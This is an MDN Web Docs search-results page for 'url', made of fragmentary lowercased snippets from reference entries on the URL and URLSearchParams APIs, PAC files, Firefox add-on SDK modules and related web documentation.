url of the html which embeds the plugin, i.e. which caused the plugin to load? there are at least 3 solutions (quoting newsgroup posts): via window location from robert platt: // get the dom window object. npn_getvalue( m_pnpinstance, npnvwindownpobject, &swindowobj ...
URL - MDN Web Docs Glossary: Definitions of Web-related terms
uniform resource locator (
url) is a text string that specifies where a resource (such as a web page, image, or video) can be found on the internet. in the context of http,
urls are called "web address" or "link". your browser displays
urls in its address bar, for example: https://developer.mozilla.org some browsers display only the part of a
url after the "//", that is, the domain name.
urls can also be used for file transfer (ftp) , emails (smtp), and other applications. learn more general knowledge
url on wikipedia learn about it understanding
urls and their structure specification the syntax of
urls is defined in the
url living standard. ...
browser.urlbar.formatting.enabled
the preference browser.
urlbar.formatting.enabled controls whether the domain name including the top level domain is highlighted in the address bar by coloring it black and the other parts grey. type:boolean default value: true exists by default: yes application support:firefox 6.0 status: active; last updated 2012-04-03 introduction: pushed to nightly on 2011-05-03 bugs: bug 451833 values true (default) the domain name including the top level domain is highlighted in the address bar by coloring it black and the other parts grey. false all parts of the
url are given the same color: black. ...
nsIUrlListManagerCallback
toolkit/components/
url-classifier/public/nsi
urllistmanager.idlscriptable interface for a class that manages updates of the
url classifier database. 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview void handleevent(in acstring value); methods handleevent() void handleevent( in acstring value ); parameters value ...
EventSource.url - Web APIs
the
url read-only property of the eventsource interface returns a domstring representing the
url of the source. syntax var my
url = eventsource.
url; value a domstring representing the
url of the source. examples var evtsource = new eventsource('sse.php'); console.log(evtsource.
url); note: you can find a full example on github — see simple sse demo using php. specifications specification status comment html living standardthe definition of '
url' in that specification. living standard initial definition ...
HashChangeEvent.newURL - Web APIs
the new
url read-only property of the hashchangeevent interface returns the new
url to which the window is navigating. syntax let newevent
url = event.new
url; value a domstring. example window.addeventlistener('hashchange', function(event) { console.log('hash changed to ' + event.new
url); }); specifications specification status comment html living standardthe definition of 'hashchangeevent: new
url' in that specification. living standard ...
HashChangeEvent.oldURL - Web APIs
the old
url read-only property of the hashchangeevent interface returns the previous
url from which the window was navigated. syntax let oldevent
url = event.old
url; value a domstring. example window.addeventlistener('hashchange', function(event) { console.log('hash changed from ' + event.old
url); }); specifications specification status comment html living standardthe definition of 'hashchangeevent: old
url' in that specification. living standard ...
PasswordCredential.iconURL - Web APIs
the icon
url read-only property of the passwordcredential interface returns a usvstring containing a
url pointing to an image for an icon. this image is intended for display in a credential chooser. the
url must be accessible without authentication. syntax
url =passwordcredential.icon
url value a usvstring containing a
url. specifications specification status comment credential management level 1the definition of 'icon
url' in that specification. working draft initial definition. ...
RTCIceCandidateStats.url - Web APIs
the rtcicecandidatestats dictionary's
url property specifies the
url of the ice server from which the described candidate was obtained. this property is only available for local candidates. syntax
url = rtcicecandidatestats.
url; value a domstring specifying the
url of the ice server from which the candidate described by the rtcicecandidatestats was obtained. this is the same
url that would be received in the icecandidate event's
url property. note: this property does not exist for remote candidates. specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatestats.
url' in that specification. candidate recommendation initial specification. ...
Report.url - Web APIs
the
url read-only property of the report interface returns the
url of the document that generated the report. syntax let report
url = reportinstance.
url returns a string representing the
url of the document that generated the report. examples let options = { types: ['deprecation'], buffered: true } let observer = new reportingobserver(function(reports, observer) { let firstreport = reports[0]; // log the
url of the document that generated the first report // e.g. "https://www.example.com/cats.html" console.log(firstreport.
url); }, options); specifications specification status comment reporting apithe definition of 'report.
url' in that specification. editor's draft ...
Request.url - Web APIs
the
url read-only property of the request interface contains the
url of the request. syntax var my
url = request.
url; value a usvstring indicating the
url of the request. example in the following snippet, we create a new request using the request.request() constructor (for an image file in the same directory as the script), then save the
url of the request in a variable: var myrequest = new request('flowers.jpg'); var my
url = myrequest.
url; // "http://mdn.github.io/fetch-examples/fetch-request/flowers.jpg" specifications specification status comment fetchthe definition of '
url' in that specification. living standard initial definition ...
Response.useFinalURL - Web APIs
the usefinal
url property of the response interface contains a boolean stating whether this is the final
url of the response. this property applies only to serviceworkers. in other contexts it will return undefined. syntax var isfinal
url = response.usefinal
url; value a boolean indicating whether or not the
url is final rather than a redirect. example consider a script residing in page index.html: fetch('/test').then((r) => console.log(r.
url)) test.html is being controlled by the service worker sw.js: onfetch = (e) => { e.respondwith(fetch('/page2').then((r) => { r.usefinal
url = true; return r; }) } the output will be /page2 and not /test in index.html, since setting the usefinal
url means that the response's
url is not set to request's
url. ...
ServiceWorker.scriptURL - Web APIs
returns the serviceworker serialized script
url defined as part of serviceworkerregistration. must be on the same origin as the document that registers the serviceworker. syntax some
url = serviceworker.script
url value a usvstring (see the webidl definition of usvstring.) examples tbd specifications specification status comment service workersthe definition of 'script
url' in that specification. working draft initial definition ...
URL.hash - Web APIs
the hash property of the
url interface is a usvstring containing a '#' followed by the fragment identifier of the
url. the fragment is not percent-decoded. if the
url does not have a fragment identifier, this property contains an empty string — "". note: this feature is available in web workers. syntax const string =
url.hash
url.hash = newhash value a usvstring. examples const
url = new
url('/docs/web/api/
url/href#examples'); console.log(
url.hash); // logs: '#examples' specifications specification status comment
urlthe definition of '
url.hash' in that specification. living standard initial definition ...
URL.hostname - Web APIs
the hostname property of the
url interface is a usvstring containing the domain name of the
url. note: this feature is available in web workers. syntax const domain =
url.hostname
url.hostname = domain value a usvstring. examples const
url = new
url('/docs/web/api/
url/hostname'); console.log(
url.hostname); // logs: 'developer.mozilla.org' specifications specification status comment
urlthe definition of '
url.hostname' in that specification. living standard initial definition. ...
URL.href - Web APIs
the href property of the
url interface is a usvstring containing the whole
url. note: this feature is available in web workers. syntax const
urlstring =
url.href
url.href = new
urlstring value a usvstring. examples const
url = new
url('/docs/web/api/
url/href'); console.log(
url.href); // logs: '/docs/web/api/
url/href' specifications specification status comment
urlthe definition of '
url.href' in that specification. living standard initial definition. ...
URL.password - Web APIs
the password property of the
url interface is a usvstring containing the password specified before the domain name. if it is set without first setting the username property, it silently fails. note: this feature is available in web workers. syntax const passwordstring =
url.password
url.password = newpassword value a usvstring. examples const
url = new
url('https://anonymous:flabada@developer.mozilla.org/docs/web/api/
url/password'); console.log(
url.password) // logs "flabada" specifications specification status comment
urlthe definition of '
url.password' in that specification. living standard initial definition. ...
URL.pathname - Web APIs
the pathname property of the
url interface is a usvstring containing an initial '/' followed by the path of the
url (or the empty string if there is no path). note: this feature is available in web workers. syntax const path =
url.pathname
url.pathname = newpath value a usvstring. examples const
url = new
url('/docs/web/api/
url/pathname?q=value'); console.log(
url.pathname); // logs "/docs/web/api/
url/pathname" specifications specification status comment
urlthe definition of '
url.pathname' in that specification. living standard initial definition. ...
URL.pathname - Web APIs
the pathname property of the
url interface is a usvstring containing an initial '/' followed by the path of the
url (or the empty string if there is no path). note: this feature is available in web workers. syntax const path =
url.pathname
url.pathname = newpath value a usvstring. examples const
url = new
url('/docs/web/api/
url/pathname?q=value'); console.log(
url.pathname); // logs "/docs/web/api/
url/pathname" specifications specification status comment
urlthe definition of '
url.pathname' in that specification. living standard initial definition. ...
URL.port - Web APIs
the port property of the
url interface is a usvstring containing the port number of the
url. if the
url does not contain an explicit port number, it will be set to ''. note: this feature is available in web workers. syntax const portnumber =
url.port
url.port = newportnumber value a usvstring. examples const
url = new
url('https://mydomain.com:80/svn/repos/'); console.log(
url.port); // logs '80' specifications specification status comment
urlthe definition of '
url.port' in that specification. living standard initial definition. ...
URL.protocol - Web APIs
the protocol property of the
url interface is a usvstring representing the protocol scheme of the
url, including the final ':'. note: this feature is available in web workers. syntax const protocol =
url.protocol
url.protocol = newprotocol value a usvstring. examples const
url = new
url('/docs/web/api/
url/protocol'); console.log(
url.protocol); // logs "https:" specifications specification status comment
urlthe definition of 'protocol' in that specification. living standard initial definition. ...
URL.search - Web APIs
the search property of the
url interface is a search string, also called a query string, that is a usvstring containing a '?' followed by the parameters of the
url. modern browsers provide the
url.searchparams property to make it easy to parse out the parameters from the query string. note: this feature is available in web workers. syntax const searchparams = object.search
url.search = newsearchparams value a usvstring. examples const
url = new
url('/docs/web/api/
url/search?q=123'); console.log(
url.search); // logs "?q=123" specifications specification status comment
urlthe definition of '
url.search' in that specification. living standard initial definition. ...
URL.search - Web APIs
the search property of the
url interface is a search string, also called a query string, that is a usvstring containing a '?' followed by the parameters of the
url. modern browsers provide the
url.searchparams property to make it easy to parse out the parameters from the query string. note: this feature is available in web workers. syntax const searchparams = object.search
url.search = newsearchparams value a usvstring. examples const
url = new
url('/docs/web/api/
url/search?q=123'); console.log(
url.search); // logs "?q=123" specifications specification status comment
urlthe definition of '
url.search' in that specification. living standard initial definition. ...
URL.searchParams - Web APIs
the searchparams readonly property of the
url interface returns a
urlsearchparams object allowing access to the get decoded query arguments contained in the
url. note: this feature is available in web workers. syntax const
urlsearchparams =
url.searchparams value a
urlsearchparams object. examples if the
url of your page is https://example.com/?name=jonathan%20smith&age=18 you could parse out the name and age parameters using: let params = (new
url(document.location)).searchparams; let name = params.get('name'); // is the string "jonathan smith". let age = parseint(params.get('age')); // is the number 18 specifications specification status comment
urlthe definition of 'searchparams' in that specification. living standard initial definition. ...
URL.toJSON() - Web APIs
the tojson() method of the
url interface returns a usvstring containing a serialized version of the
url, although in practice it seems to have the same effect as
url.tostring(). note: this feature is available in web workers. syntax const href =
url.tojson() return value a usvstring. examples const
url = new
url("/docs/web/api/
url/tostring");
url.tojson(); // should return the
url as a string specifications specification status comment
urlthe definition of 'tojson()' in that specification. living standard initial definition. ...
URL.username - Web APIs
the username property of the
url interface is a usvstring containing the username specified before the domain name. note: this feature is available in web workers. syntax const usernamestring =
url.username
url.username = newusername value a usvstring. examples const
url = new
url('https://anonymous:flabada@developer.mozilla.org/docs/web/api/
url/username'); console.log(
url.username) // logs "anonymous" specifications specification status comment
urlthe definition of 'username' in that specification. living standard initial definition. ...
URLSearchParams.delete() - Web APIs
the delete() method of the
urlsearchparams interface deletes the given search parameter and all its associated values, from the list of all search parameters. note: this feature is available in web workers. syntax
urlsearchparams.delete(name) parameters name the name of the parameter to be deleted. return value void examples let
url = new
url('https://example.com?foo=1&bar=2&foo=3'); let params = new
urlsearchparams(
url.search.slice(1)); // delete the foo parameter. params.delete('foo'); //query string is now: 'bar=2' specifications specification status comment
urlthe definition of 'delete()' in that specification. living standard initial definition. ...
URLSearchParams.entries() - Web APIs
the entries() method of the
urlsearchparams interface returns an iterator allowing iteration through all key/value pairs contained in this object. the key and value of each pair are usvstring objects. note: this feature is available in web workers. syntax searchparams.entries(); parameters none. return value returns an iterator. examples // create a test
urlsearchparams object var searchparams = new
urlsearchparams("key1=value1&key2=value2"); // display the key/value pairs for(var pair of searchparams.entries()) { console.log(pair[0]+ ', '+ pair[1]); } the result is: key1, value1 key2, value2 specifications specification status comment
urlthe definition of 'entries() (see "iterable")' in that specification. living standard initial definitio...
URLSearchParams.forEach() - Web APIs
the foreach() method of the
urlsearchparams interface allows iteration through all values contained in this object via a callback function. note: this feature is available in web workers. syntax searchparams.foreach(callback); parameters callback a callback function that is executed against each parameter, with the param value provided as its parameter. return value void. examples // create a test
urlsearchparams object var searchparams = new
urlsearchparams("key1=value1&key2=value2"); // log the values searchparams.foreach(function(value, key) { console.log(value, key); }); the result is: value1 key1 value2 key2 specifications specification status comment
urlthe definition of 'foreach() (see "iterable")' in that specification. living standa...
URLSearchParams.getAll() - Web APIs
the getall() method of the
urlsearchparams interface returns all the values associated with a given search parameter as an array. note: this feature is available in web workers. syntax
urlsearchparams.getall(name) parameters name the name of the parameter to return. return value an array of usvstrings. examples let
url = new
url('https://example.com?foo=1&bar=2'); let params = new
urlsearchparams(
url.search.slice(1)); //add a second foo parameter. params.append('foo', 4); console.log(params.getall('foo')) //prints ["1","4"]. specifications specification status comment
urlthe definition of 'getall()' in that specification. living standard initial definition. ...
URLSearchParams.has() - Web APIs
the has() method of the
urlsearchparams interface returns a boolean that indicates whether a parameter with the specified name exists. note: this feature is available in web workers. syntax var hasname =
urlsearchparams.has(name) parameters name the name of the parameter to find. return value a boolean. examples let
url = new
url('https://example.com?foo=1&bar=2'); let params = new
urlsearchparams(
url.search.slice(1)); params.has('bar') === true; //true specifications specification status comment
urlthe definition of 'has()' in that specification. living standard initial definition. ...
URLSearchParams.keys() - Web APIs
the keys() method of the
urlsearchparams interface returns an iterator allowing iteration through all keys contained in this object. the keys are usvstring objects. note: this method is available in web workers. syntax searchparams.keys(); parameters none. return value returns an iterator. examples // create a test
urlsearchparams object var searchparams = new
urlsearchparams("key1=value1&key2=value2"); // display the keys for(var key of searchparams.keys()) { console.log(key); } the result is: key1 key2 specifications specification status comment
urlthe definition of 'keys() (see "iterable")' in that specification. living standard initial definition. ...
URLSearchParams.values() - Web APIs
the values() method of the
urlsearchparams interface returns an iterator allowing iteration through all values contained in this object. the values are usvstring objects. note: this feature is available in web workers. syntax searchparams.values(); parameters none. return value returns an iterator. examples // create a test
urlsearchparams object var searchparams = new
urlsearchparams("key1=value1&key2=value2"); // display the values for(var value of searchparams.values()) { console.log(value); } the result is: value1 value2 specifications specification status comment
urlthe definition of 'values() (see "iterable")' in that specification. living standard initial definition. ...
URLUtilsReadOnly.origin - Web APIs
the
urlutilsreadonly.origin read-only property is a domstring containing the unicode serialization of the origin of the represented
url, that is, for http and https, the scheme followed by '://', followed by the domain, followed by ':', followed by the port (the default port, 80 and 443 respectively, if explicitely specified). for
url using file: scheme, the value is browser dependant. this version of origin is implemented by workerlocation for use on workers. syntax string = object.origin; examples // on this page, returns the origin var result = self.location.origin; // returns:'https://developer.mozilla.org:443' specifications specification status comment
urlthe definition of '
urlutilsreadonly.origin' in that specification. living standard initial ...
WebSocket.url - Web APIs
the websocket.
url read-only property returns the absolute
url of the websocket as resolved by the constructor. syntax var
url = awebsocket.
url; value a domstring. specifications specification status comment html living standardthe definition of 'websocket:
url' in that specification. living standard initial definition ...
Index - Web APIs
viceworker life cycle. note that the cache interface is exposed to windowed scopes as well as workers. you don't have to use it in conjunction with service workers, even though it is defined in the service worker spec. 503 cache.add() api, cache, experimental, method, reference, service workers, service worker api, serviceworker the add() method of the cache interface takes a
url, retrieves it, and adds the resulting response object to the given cache. 504 cache.addall() api, cache, experimental, method, needsexample, reference, service workers, service worker api, serviceworker, addall the addall() method of the cache interface takes an array of
urls, retrieves them, and adds the resulting response objects to the given cache. the request objects cre...
...bjects tracked by the cachestorage object in the order they were created. use this method to iterate over a list of all cache objects. 514 cachestorage.match() api, cachestorage, experimental, method, reference, service workers, service worker api, serviceworker, match the match() method of the cachestorage interface (available globally as caches) checks if a given request or
url string is a key for a stored response. this method returns a promise for a response, or undefined if no match is found. 515 cachestorage.open() api, cachestorage, experimental, method, reference, service workers, service worker api, serviceworker, open the open() method of the cachestorage interface returns a promise that resolves to the cache object matching the cachename. ...
...t allows a service worker to send a message to a client (a window, worker, or sharedworker). the message is received in the "message" event on navigator.serviceworker. 628 client.type api, client, property, reference, service workers, type the type read-only property of the client interface indicates the type of client the service worker is controlling. 629 client.
url api, client, experimental, property, reference, service workers,
url the
url read-only property of the client interface returns the
url of the current service worker client. 630 clients api, clients, experimental, interface, reference, service workers, service worker api, serviceworker, workers the clients interface provides access to client objects. access it via s...
...And 127 more matches
Starting WebLock
sed to its clients. in general, the weblock service interface needs to include the following functionality: lock - enable web locking so that any browser in the gecko application is restricted to the white list of website domains. unlock - disable web locking. this should allow any browser in the gecko application to browse any website regardless of the white list. addsite - add the current
url to the white list. removesite - remove the current
url from the white list. enumeratesites - allows the enumeration of all sites in the white list. enumeratesites might be used in the user interface to provide something like an editable listbox of all sites in the white list. even this simple outline presents some ambiguity, however. it's certainly not enough to spell out the interface for th...
...atesites - allows the enumeration of all sites in the white list. enumeratesites might be used in the user interface to provide something like an editable listbox of all sites in the white list. even this simple outline presents some ambiguity, however. it's certainly not enough to spell out the interface for the weblock component in this way. ...
...of all sites in the white list. enumeratesites might be used in the user interface to provide something like an editable listbox of all sites in the white list. even this simple outline presents some ambiguity, however. it's certainly not enough to spell out the interface for the weblock component in this way. for example, addsite is supposed to add the current
url to the white list, but is the
url an input parameter to the method, is it the topmost web page in the gecko application, or is it something more random-a
url picked from global history or that's been given context in some other way? as a strongly typed and implementation-agnostic language, xpidl requires that you be quite specific about the apis, the list of parameters, their order, and their types. xpidl requires that you spell...
...And 34 more matches
nsIMessenger
s.classes["@mozilla.org/messenger;1"] .createinstance(components.interfaces.nsimessenger); in thunderbird, a global nsimessenger object is defined as messenger via the createmessenger function in mailwindow.js. ...
...la.org/messenger;1"] .createinstance(components.interfaces.nsimessenger); in thunderbird, a global nsimessenger object is defined as messenger via the createmessenger function in mailwindow.js. ...
... .createinstance(components.interfaces.nsimessenger); in thunderbird, a global nsimessenger object is defined as messenger via the createmessenger function in mailwindow.js. ...
...And 32 more matches
nsIMsgMessageService
objects that implements nsimsgmessageservice give the user top level routines related to messages like copying, displaying, attachment's manipulation, printing, streaming the message content to eml format string, etc. ...
... objects that implements nsimsgmessageservice give the user top level routines related to messages like copying, displaying, attachment's manipulation, printing, streaming the message content to eml format string, etc. ...
...ce give the user top level routines related to messages like copying, displaying, attachment's manipulation, printing, streaming the message content to eml format string, etc. ...
...And 30 more matches
Add to iPhoto
tion long integer type used to represent indexes into lists. i debated including this in the corefoundation object, and probably would have if i were being more formal, but opted against it for clarity's sake. optionbits a 32-bit bit field data type. core foundation the majority of the system routines we'll be using come from core foundation. among these are routines for managing cfstring, cf
url, and cfarray objects, among others. these are core system data formats that are used by other frameworks, and we'll be making use of them. the core foundation api is implemented by the corefoundation object, which consists of two methods to initialize and shut down the library, a reference to the library, and all the types and methods declared to support core foundation. initializing core found...
...ect. it returns a cfstringref, which is a pointer to the new string, and accepts, as input, three parameters: an allocator, which is a pointer to a routine that will allocate the memory to contain the new object (we use the ctypes.voidptr_t type for this), a pointer to the unicode string to copy into the new string object (ctypes.jschar.ptr), and the length of the unicode string in characters. ...
...urns a cfstringref, which is a pointer to the new string, and accepts, as input, three parameters: an allocator, which is a pointer to a routine that will allocate the memory to contain the new object (we use the ctypes.voidptr_t type for this), a pointer to the unicode string to copy into the new string object (ctypes.jschar.ptr), and the length of the unicode string in characters. ...
...And 29 more matches
Index - Archive of obsolete content
46 indexed-db add-on sdk exposes the indexeddb api to add-ons. 47 l10n add-on sdk localize strings appearing in the add-on's javascript code. 48 notifications add-on sdk, notifications display transient, toaster-style desktop messages to the user. 49 page-mod add-on sdk run scripts in the context of web pages whose
url matches a given pattern. 50 page-worker add-on sdk create a permanent, invisible page and access its dom. 51 panel add-on sdk, add-ons, extensions creates transient dialogs to implement part of an add-on's user interface. 52 passwords add-on sdk interact with firefox's password manager to add, retrieve and remove stored credentials. ...
...dd-on sdk query the add-on's environment and access arguments passed to it. 61 tabs add-on sdk open, manipulate, and access tabs, and receive tab events. 62 timers add-on sdk set one-off and periodic timers. 63 ui add-on sdk, add-ons, extensions, reference provides access to button, toolbar, and sidebar ui objects. 64
url add-on sdk construct, validate, and parse
urls. 66 widget add-on sdk create a simple user interface for an add-on in firefox's add-on bar. 67 windows add-on sdk enumerate and examine open browser windows, open new windows, and listen for window events. 68 low-level apis no summary! 69 /loader create co...
... provides streams for reading and writing text. 90 lang/functional functional helper methods. 91 lang/type functions for working with type detection. 92 loader/cuddlefish add-on sdk, cfx the sdk's module loader. 93 loader/sandbox create javascript sandboxes and execute scripts in them. 94 net/
url no summary! 95 net/xhr provides access to xmlhttprequest functionality. 96 places/bookmarks create, modify, and retrieve bookmarks. 97 places/favicon helper functions for working with favicons. 98 places/history access the user's browsing history. 99 platform/xpcom implement xp...
...And 26 more matches
ui/frame - Archive of obsolete content
moment you can only add frames to a toolbar. usage this module exports the frame constructor, which can be used to create frame components. right now it can be used in conjunction with a toolbar: you create a frame, then supply it to the toolbar's constructor, and the content is then displayed inside the toolbar. constructing frames the frame constructor takes one mandatory option, which is a
url pointing to an html document supplied under your add-ons "data" directory. for example, this html document defines a <select> element and a couple of <span> elements, and includes a css file to style the content and a javascript script to implement behavior: <!doctype html> <html> <head> <link href="city-info.css" rel="stylesheet"></link> </head> <body> <select name="city" id="ci...
...it occupies the whole width of the browser window and is 18 pixels high on a normal-resolution display or 36 pixels high on a high-resolution (hidpi) display. this toolbar might look something like: scripting...
...eventlistener("change", citychanged); function citychanged() { window.parent.postmessage(cityselector.value, "*"); } to listen for these messages in the main add-on code, you can assign a listener to the frame's message event. the data property of the event is the message payload. ...
...And 25 more matches
Graceful asynchronous programming with Promises - Learn web development
o transform the fetch response's raw body contents into a blob object, and then display that blob inside an <img> element. this is very similar to the example we looked at in the first article of the series, but we'll do it a bit differently as we get you building your own promise-based code. note: the following example will not work if you just run it directly from the file (i.e. via a file://
url). you need to run it through a local testing server, or use an online solution such as glitch or github pages. first of all, download our simple html template and the sample image file that we'll fetch. add a <script> element at the bottom of the html <body>. inside your <script> element, add the following line: let promise = fetch('coffee.jpg'); this calls the fetch() me...
... through a local testing server, or use an online solution such as glitch or github pages. first of all, download our simple html template and the sample image file that we'll fetch. add a <script> element at the bottom of the html <body>. inside your <script> element, add the following line: let promise = fetch('coffee.jpg'); this calls the fetch() method, passing it the
url of the image to fetch from the network as a parameter. this can also take an options object as an optional second parameter, but we are just using the simplest version for now. we are storing the promise object returned by fetch() inside a variable called promise. as we said before, this object represents an intermediate state that is initially neither success nor failure — the official term fo...
...} }); each call to .then() creates a new promise. this is very useful; because the blob() method also returns a promise, we can handle the blob object it returns on fulfillment by invoking the .then() method of the second promise. ...
...And 25 more matches
Tabbed browser - Archive of obsolete content
// wrong way (the page hasn't finished loading yet) var newtabbrowser = gbrow...
...erfortab(gbrowser.addtab("http://www.google.com/")); newtabbrowser.addeventlistener("load", function () { newtabbrowser.contentdocument.body.innerhtml = "<div>hello world</div>"; }, true); (the event target in the onload handler will be a 'tab' xul element). see tabbrowser for getbrowserfortab(). note that the code above does not work inside of the electrolysis (e10s) enabled tabs. ...
...cument.body.innerhtml = "<div>hello world</div>"; }, true); (the event target in the onload handler will be a 'tab' xul element). see tabbrowser for getbrowserfortab(). note that the code above does not work inside of the electrolysis (e10s) enabled tabs. opening a
url in the correct window/tab there are methods available in chrome://browser/content/utilityoverlay.js that make it easy to open
url in tabs such as openuilinkin and openuilink. ...
...And 24 more matches
widget - Archive of obsolete content
itizen. for example, in the future firefox may allow the user to drag widgets from the add-on bar to other toolbars. by exposing your interface as a widget, your add-on would automatically inherit such functionality. creation and content widgets can contain images or arbitrary web content. you can include this content inline as a string by using the content property, or point to content using a
url with the content
url property. upon creation, the widget is automatically added to the add-on bar. you can set the width of a widget, but the height is fixed so as to fit in the add-on bar. if the content is an image, it is automatically scaled to be 16x16 pixels. for example, this widget contains an image, so it looks like a simple icon: require("sdk/widget").widget({ id: "mozilla-icon", l...
... creation, the widget is automatically added to the add-on bar. you can set the width of a widget, but the height is fixed so as to fit in the add-on bar. if the content is an image, it is automatically scaled to be 16x16 pixels. ...
... can set the width of a widget, but the height is fixed so as to fit in the add-on bar. if the content is an image, it is automatically scaled to be 16x16 pixels. ...
...And 22 more matches
Proxy Auto-Configuration (PAC) file - HTTP
a proxy auto-configuration (pac) file is a javascript function that determines whether web browser requests (http, https, and ftp) go directly to the destination or are forwarded to a web proxy server. the javascript function contained in the pac file defines the function: function findproxyfor
url(
url, host) { // ... } syntax function findproxyfor
url(
url, host) parameters
url the
url being accessed. the path and query components of https://
urls are stripped. ...
... the destination or are forwarded to a web proxy server. the javascript function contained in the pac file defines the function: function findproxyfor
url(
url, host) { // ... } syntax function findproxyfor
url(
url, host) parameters
url the
url being accessed. the path and query components of https://
urls are stripped. in chrome (versions 52 to 73), you can disable this by setting pachttps
urlstrippingenabled to false in policy or by launching with the --unsafe-pac-
url command-line flag (in chrome 74, only the flag works, and from 75 onward, there is no way to disable path-stripping; as of chrome 81, path-stripping does not apply to http
urls, but there is interest in changing this behavior to match https); in firefox, the preference is network.proxy.autoconfig_
url.include_path. host ...
... description returns a string describing the configuration. the format of this string is defined in return value format below. ...
...And 22 more matches
page-mod - Archive of obsolete content
run scripts in the context of web pages whose
url matches a given pattern. usage to use page-mod, you specify: one or more scripts to attach. the sdk calls these scripts "content scripts". a pattern that a page's
url must match, in order for the script(s) to be attached to that page. for example, the following add-on displays an alert whenever the user visits any page hosted at "mozilla.org": var pagemod = require("sdk/page-mod"); pagemod.pagemod({ include: "*.mozilla.org", contentscript: 'window.alert("page matches ruleset");' }); you can modify the document in your script: var pagemod = require("sdk/page-mod"); pagemod.pagemod({ include: "*.mozilla.org", contentscript: 'document.body.innerhtml = ' + ' "<h1>page matches ruleset</h1>";' }); you can su...
...y.innerhtml = ' + ' "<h1>page matches ruleset</h1>";' }); you can supply the content script(s) in one of two ways: as a string literal, or an array of string literals, assigned to the contentscript option, as above as separate files supplied in your add-on's "data" directory. ...
..."<h1>page matches ruleset</h1>";' }); you can supply the content script(s) in one of two ways: as a string literal, or an array of string literals, assigned to the contentscript option, as above as separate files supplied in your add-on's "data" directory. ...
...And 21 more matches
context-menu - Archive of obsolete content
lly removed from the menu. you never need to manually remove your items from the menu unless you want them to never appear again. for example, if your add-on needs to add a context menu item whenever the user visits a certain page, don't create the item when that page loads, and don't remove it when the page unloads. rather, create your item only once and supply a context that matches the target
url. context menu items are displayed in the order created or in the case of sub menus the order added to the sub menu. menu items for each add-on will be grouped together automatically. if the total number of menu items in the main context menu from all add-ons exceeds a certain number (normally 10 but configurable with the extensions.addon-sdk.context-menu.overflowthreshold preference) all of the ...
...ot occur when the user invokes the context menu on a link, image, or other non-text node, or while a selection exists. declarative contexts you can specify some simple, declarative contexts when you create a menu item by setting the context property of the options object passed to its constructor, like this: var cm = require("sdk/context-menu"); cm.item({ label: "my menu item", context: cm.
urlcontext("*.mozilla.org") }); constructor description pagecontext() the page context. selectioncontext() this context occurs when the menu is invoked on a page in which the user has made a selection. selectorcontext(selector) this context occurs when the menu is invoked on a node that either matches selector, a css selector, or has an ancestor tha...
...ontext. selectioncontext() this context occurs when the menu is invoked on a page in which the user has made a selection. selectorcontext(selector) this context occurs when the menu is invoked on a node that either matches selector, a css selector, or has an ancestor that matches. selector may include multiple selectors separated by commas, e.g., "a[href], img".
urlcontext(matchpattern) this context occurs when the menu is invoked on pages with particular
urls. matchpattern is a match pattern string or an array of match pattern strings. when matchpattern is an array, the context occurs when the menu is invoked on a page whose
url matches any of the patterns. these are the same match pattern strings that you use with the page-mod include property. read mo...
...And 20 more matches
Creating regular expressions for a microsummary generator - Archive of obsolete content
warning: microsummary support was removed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) a regular expression is a special kind of string (i.e. a sequence of characters) that matches patterns of characters in other strings. microsummary generators use them to identify the pages that the generators know how to summarize by matching patterns in those pages'
urls. in this tutorial, we'll explain how to make regular expressions that match the
urls for ebay auction item pages. by the end of the tutorial, you should know some basics about regular expressions and understand how to create expressions that match
urls. for detailed documentation about regular expressions, see core_javascript_1.5_reference:global_objects:regexp. to learn how to create a microsummary generator, s...
...regular expressions that match the
urls for ebay auction item pages. by the end of the tutorial, you should know some basics about regular expressions and understand how to create expressions that match
urls. for detailed documentation about regular expressions, see core_javascript_1.5_reference:global_objects:regexp. to learn how to create a microsummary generator, see creating a microsummary.
urls 101
urls for auction item pages on ebay, like those on many other sites, usually start with the string "http://" and contain a domain name, a file path, and some query parameters. ...
...t match
urls. for detailed documentation about regular expressions, see core_javascript_1.5_reference:global_objects:regexp. to learn how to create a microsummary generator, see creating a microsummary.
urls 101
urls for auction item pages on ebay, like those on many other sites, usually start with the string "http://" and contain a domain name, a file path, and some query parameters. here's a
url for an auction item page on ebay: http://cgi.ebay.com/ws/ebayisapi.dll?viewitem&item=280018439106 in this
url, the domain name is "cgi.ebay.com", the file path is "/ws/ebayisapi.dll", and the query parameters are "?viewitem&item=280018439106". ...
...And 20 more matches
<blend-mode> - CSS: Cascading Style Sheets
sed in the background-blend-mode and mix-blend-mode properties. syntax the <blend-mode> data type is defined using a keyword value chosen from the list below. values normal the final color is the top color, regardless of what the bottom color is. the effect is like two opaque pieces of paper overlapping. <div id="div"></div> #div { width: 300px; height: 300px; background:
url('https://mdn.mozillademos.org/files/8543/br.png'),
url('https://mdn.mozillademos.org/files/8545/tr.png'); background-blend-mode: normal; } multiply the final color is the result of multiplying the top and bottom colors. a black layer leads to a black final layer, and a white layer leads to no change. the effect is like two images printed on transparent film overla...
...demos.org/files/8545/tr.png'); background-blend-mode: normal; } multiply the final color is the result of multiplying the top and bottom colors. a black layer leads to a black final layer, and a white layer leads to no change. the effect is like two images printed on transparent film overlapping. <div id="div"></div> #div { width: 300px; height: 300px; background:
url('https://mdn.mozillademos.org/files/8543/br.png'),
url('https://mdn.mozillademos.org/files/8545/tr.png'); background-blend-mode: multiply; } screen the final color is the result of inverting the colors, multiplying them, and inverting that value. a black layer leads to no change, and a white layer leads to a white final layer. the effect is like two images shone o...
...45/tr.png'); background-blend-mode: multiply; } screen the final color is the result of inverting the colors, multiplying them, and inverting that value. a black layer leads to no change, and a white layer leads to a white final layer. the effect is like two images shone onto a projection screen. <div id="div"></div> #div { width: 300px; height: 300px; background:
url('https://mdn.mozillademos.org/files/8543/br.png'),
url('https://mdn.mozillademos.org/files/8545/tr.png'); background-blend-mode: screen; } overlay the final color is the result of multiply if the bottom color is darker, or screen if the bottom color is lighter. this blend mode is equivalent to hard-light but with the layers swapped. <div id="div"></div> #div { ...
...And 20 more matches
HTTP Index - HTTP
tty extensible protocol. it relies on a few basic concepts like the notion of resources and uris, a simple structure of messages, and a client-server structure for the communication flow. on top of these basic concepts, numerous extensions have appeared over the years, adding new functionality and new semantics by creating new http methods or headers. 5 choosing between www and non-www
urls guide, http,
